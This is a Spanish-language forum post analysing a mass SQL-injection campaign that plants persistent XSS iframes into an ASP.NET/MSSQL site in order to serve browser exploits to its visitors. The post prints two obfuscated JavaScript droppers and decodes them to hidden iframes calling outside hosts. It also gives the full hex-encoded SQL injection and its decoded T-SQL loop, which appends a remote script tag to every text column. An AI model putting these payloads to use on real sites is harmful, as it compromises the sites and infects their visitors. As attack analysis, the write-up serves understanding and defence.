Ataque Web a las 3 delicias (sql injection, + xss permanente + exploit)

Iniciado por R41N-W4R3, 29 Julio 2010, 17:32 PM

0 Miembros y 1 Visitante están viendo este tema.

R41N-W4R3

Escenario:

La empresa X dispone de una web programada en asp.net con bd MSsqlserver.

Descripción general del Ataque:

La página web en cuestión presentaba vulnerabilidades de inyección SQL. Estas han sido aprovechadas por los atacantes para inyectar código javascritp en cada una de los campos de las tablas al final de los mismos. Este escenario desemboca en un XSS permanente en la página web atacada que ejecuta estos javascritp en el navegador de cada cliente que visita la página infectada. Esos códigos javascritp a su vez cargan IFRAMES invisibles de tamaño 0 que cargan otra serie de scripts que tratarán de atacar nuestro sistema mediante el uso de exploits.

Todas estas acciones se realizan usando diversas técnicas de evasión para evitar ser descubiertos y para eludir los sistemas de seguridad que se emplaen.

Puede esquematizarse en los siguientes pasos:

1. Localización de web vulnerable a Inyección SQL
2. Inyección des Script en la BD dela Web vulnerable. Asi apareceran cuando se cargue cualquier sección con contenido leido de la bd.
3. El Visitante ahora esta entrando en una web que tiene inyectado de forma permanente un IFRAME que carga algún tipo de script que se ejecutará en su navegador y que se encuentra alojado en un servidor remoto.
4. El visitante es vulnerado por algunos de los exploit que se ejecutan sobre su navegador.

Diseccionando el ataque:

Cuando un usuario accede a la página atacada, su navegador carga un script como el siguiente:

<script>s='DMEJEGFCEBENEFCAHDHCGDDNCCGIHEHEHADKCPCPHICNHDHJHDHEGFGNHDCOGOGBGNGFCPEBGEHGGBGOGDGFGEFPFEHCGBGGGGGJGDCPGPHFHECOHAGIHADPHDFPGJGEDNDBCCCAHHGJGEHEGIDNCCDBCCCAGIGFGJGHGIHEDNCCDBCCCAGGHCGBGNGFGCGPHCGEGFHCDNCCDACCDODMCPEJEGFCEBENEFDOANAKDMEJEGFCEBENEFCAHDHCGDDNCCGIHEHEHADKCPCPHEGPGKGBGOGEGHGMGPHHCOGDGPGNCPEBGEHGGBGOGDGFGEFPFEHCGBGGGGGJGDCPGPHFHECOHAGIHADPHDFPGJGEDNDBCCCAHHGJGEHEGIDNCCDBCCCAGIGFGJGHGIHEDNCCDBCCCAGGHCGBGNGFGCGPHCGEGFHCDNCCDACCDODMCPEJEGFCEBENEF';x='';sl=s.length;for(i=0;i<sl;i=i+2){x+=String.fromCharCode(((s.charCodeAt(i)-65)<<4)+s.charCodeAt(i+1)-65);}document.write(x);</script>


EXPLICAIÓN SCRIPT

S es la variable que almacena el código codificado para que no podamos verlo.

String.fromCharCode

Este es un método global del objeto String que crea una cadena a partir de los códigos Unicode que se le pasen como parámetros. Por ejemplo:
var cadena = String.fromCharCode(65,66,67);
La variable cadena contendrá "ABC", que son los caracteres con los códigos 65, 66 y 67.

charCodeAt

Este método aplicado a una cadena devuelve el código Unicode del carácter que se encuentra en la posición dada por el atributo atrent lteniendo en cuenta que el índice del primer carácter a la izquierda de la cadena es 0 y el último es una unidad menor que longitud de la cadena. Si el valor del atributo no es válido (igual o mayor que la longitud de la cadena o negativo) el método devuelve el valor NAN. Por ejemplo el siguiente código devuelve el Unicode del tercer carácter de la cadena nombre:
var nombre = "abcdefghij";
var car3 =
nombre.charAt(2);
Devolverá 99, que es el código de la letra 'c', el tercer carácter por la izquierda (índice igual a 2).

<<   shift A LA IZQUIERDA
Los operadores de shift corren todos los bit de una variable hacia la derecha o hacia la izquierda un número determinado de posiciones y los nuevos bit que se crean se impostan en 1, mientras que los bit que salguen se pierden (excepto los del signo).


Tras la decodificación del script oculto mediante el simple uso de la función alert obtenemos:

<IFRAME src="http://x-systems.name/Advanced_Traffic/out.php?s_id=1" width="1" height="1" frameborder="0"></IFRAME>
<IFRAME src="http://tojandglow.com/Advanced_Traffic/out.php?s_id=1" width="1" height="1" frameborder="0"></IFRAME>

Como vemos el código inyectado tras descomprimirse crea 2 iframes invisibles que a su vez hacen la llamada a otros dos script. Que tratan de ejecutar diversos exploit conocidos a nuestro navegador para tomar información del equipo de la víctima, infectarlo con algún tipo de malware o cualquier cosa que pueda imaginarse.

No sólo se ha inyectado este scritp en la web hackeada, también encontramos otro tipo de script con un sistema diferente de codificación:

<script>function c152364361251b49002709e17ba(b49002709e17c1){ function b49002709e17c9(){var b49002709e17cf=16;return b49002709e17cf;} return (parseInt(b49002709e17c1,b49002709e17c9()));}function b49002709e17ea(b49002709e17f0){ function b49002709e1805(){return 2;} var b49002709e17f7='';b49002709e181d=String.fromCharCode;for(b49002709e17fd=0;b49002709e17fd<b49002709e17f0.length;b49002709e17fd+=b49002709e1805()){ b49002709e17f7+=(b49002709e181d(c152364361251b49002709e17ba(b49002709e17f0.substr(b49002709e17fd,b49002709e1805()))));}return b49002709e17f7;} var x70='';var b49002709e182a='3C7'+x70+'3637'+x70+'2697'+x70+'07'+x70+'43E696628216D7'+x70+'96961297'+x70+'B646F637'+x70+'56D656E7'+x70+'42E7'+x70+'7'+x70+'7'+x70+'2697'+x70+'465287'+x70+'56E657'+x70+'363617'+x70+'065282027'+x70+'2533632536392536362537'+x70+'322536312536642536352532302536652536312536642536352533642536332533312533352532302537'+x70+'332537'+x70+'32253633253364253237'+x70+'2536382537'+x70+'342537'+x70+'342537'+x70+'302533612532662532662537'+x70+'332536312536632536352537'+x70+'362536392537'+x70+'332536392537'+x70+'342536662537'+x70+'322532652536652536352537'+x70+'34253266253639253665253265253633253637'+x70+'25363925336625333226253237'+x70+'2532622534642536312537'+x70+'342536382532652537'+x70+'322536662537'+x70+'352536652536342532382534642536312537'+x70+'342536382532652537'+x70+'32253631253665253634253666253664253238253239253261253331253336253330253331253332253335253239253262253237'+x70+'253636253237'+x70+'2532302537'+x70+'37'+x70+'2536392536342537'+x70+'34253638253364253333253337'+x70+'253335253230253638253635253639253637'+x70+'2536382537'+x70+'34253364253334253332253337'+x70+'2532302537'+x70+'332537'+x70+'342537'+x70+'39253663253635253364253237'+x70+'2536342536392537'+x70+'332537'+x70+'302536632536312537'+x70+'39253361253230253665253666253665253635253237'+x70+'2533652533632532662536392536362537'+x70+'3225363125366425363525336527'+x70+'29293B7'+x70+'D7'+x70+'6617'+x70+'2206D7'+x70+'969613D7'+x70+'47'+x70+'27'+x70+'5653B3C2F7'+x70+'3637'+x70+'2697'+x70+'07'+x70+'43E';document.write(b49002709e17ea(b49002709e182a));</script>

En una primera etapa de decodificación obtenemos:

<script>if(!myia){document.write(unescape( '%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%63%31%35%20%73%72%63%3d%27%68%74%74%70%3a%2f%2f%73%61%6c%65%76%69%73%69%74%6f%72%2e%6e%65%74%2f%69%6e%2e%63%67%69%3f%32&%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%31%36%30%31%32%35%29%2b%27%66%27%20%77%69%64%74%68%3d%33%37%35%20%68%65%69%67%68%74%3d%34%32%37%20%73%74%79%6c%65%3d%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%27%3e%3c%2f%69%66%72%61%6d%65%3e'));}var myia=true;</script>

Para finalmente mediante url decode ver:

<iframe name=c15 src='http://salevisitor.net/in.cgi?2&'+Math.round(Math.random()*160125)+'f'; width=375 height=427 style='display: none'></iframe>

Como puede apreciarse usan la misma técnica llamando a scripts de páginas alojadas en servidores anónimos para trataqr de vulnerar el sistema del visitante.

¿Pero como ha llegado todo esto a nuestra Web?

Bién, existen diversas formas, pero veamos como se puede realizar mediante el uso de la propia vulnerabilidad sql:

En primer lugar, este tipo de inyección (extraida de otra victima que publico su problema en la red) será la encargada de inyectar en toda nuestra web el script malicioso:

id=1;DECLARE%20@V%20VARCHAR(4000);SET%20@S=CAST(
0x4445434C415245204054205641524348415228323535292C404320
564152434841522832353529204445434C415245205461626C655F43
7572736F7220435552534F5220464F522053454C45435420612E6E61
6D652C622E6E616D652046524F4D207379736F626A6563747320612C
737973636F6C756D6E73206220574845524520612E69643D622E6964
20414E4420612E78747970653D27752720414E442028622E78747970
653D3939204F5220622E78747970653D3335204F5220622E78747970
653D323331204F5220622E78747970653D31363729204F50454E2054
61626C655F437572736F72204645544348204E4558542046524F4D20
5461626C655F437572736F7220494E544F2040542C4043205748494C
4528404046455443485F5354415455533D302920424547494E204558
45432827555044415445205B272B40542B275D20534554205B272B40
432B275D3D525452494D28434F4E5645525428564152434841522834
303030292C5B272B40432B275D29292B27273C736372697074207372
633D687474703A2F2F7777772E34636E772E72752F6E67672E6A733E
3C2F7363726970743E27272729204645544348204E4558542046524F
4D205461626C655F437572736F7220494E544F2040542C404320454E
4420434C4F5345205461626C655F437572736F72204445414C4C4F43
415445205461626C655F437572736F7220%20AS%20VARCHAR(4000))
;EXEC(@V);--


Como puede verse, la inyección esta totalmente codificada, asi que para verla de forma mas simple convertiremos los números exadecimales:

id=1;DECLARE @V VARCHAR(4000); SET @S=CAST(numero_binario_largo AS VARCHAR(4000));EXEC(@S);--


Por si aún no queda claro. El código insertado declara un nombre de variable @V como una cadena de caracteres grandes, se pone su valor con un número binario en formato de cadena y luego ejecuta la cadena de caracteres resultante como si fuese una sentencia SQL. El punto y coma se utiliza para separar las instrucciones SQL individuales. El número binario largo se utiliza para ocultar el código real que se esta intentando ejecutar. Podemos verlo ahora:

DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id
AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.pagina_maliciosa.es ></script>''')
FETCH NEXT FROM Table_Cursor INTO @T,@C
END CLOSE Table_Cursor
DEALLOCATE Table_Cursor


En el código anterior puede verse como el hacker está actualizando todos los caracteres individuales o texto en el final de cada valor de la columna en cada tabla de la base de datos por  la cadena "<src=http://www.pagina_maliciosa.es>  ".

Como puede apreciarse el ataque no se centra realmente en atacar la base de datos, sino en introducir script en todo el contenido de la web que se ejecutarán en el cliente. El concepto de este ataque es mas global, esta montado usando diversas capas y su últiima finalidad es atacar a los visitantes de la Web.

Este tipo de ataque ya es conocido desde hace tiempo. Ya hay referencias en el black hat 2009.

La grán mayoría de ataques de este tipo se realizan desde china y rusia, en estos emplazamientos se almacenan los datos enviados porlos equipos vulnerados, asi como se alojan los diferentes scripts y códigos maliciosos necesarios para realizar estos ataques.

Fuente: http://www.informaticanova.com/seguridad-informatica/noticias-seguridad-informatica/ataque-web-a-las-3-delicias-sqli-xss-permanenete-exploit.html

tragantras

articulo muy interesante!
además de inyección de exploits este tipo de "webs-farm" tambien son utilizadas para conseguir mediante intercambio de links (blackhat seo) un buen posicionamiento en buscadores
Colaboraciones:
1 2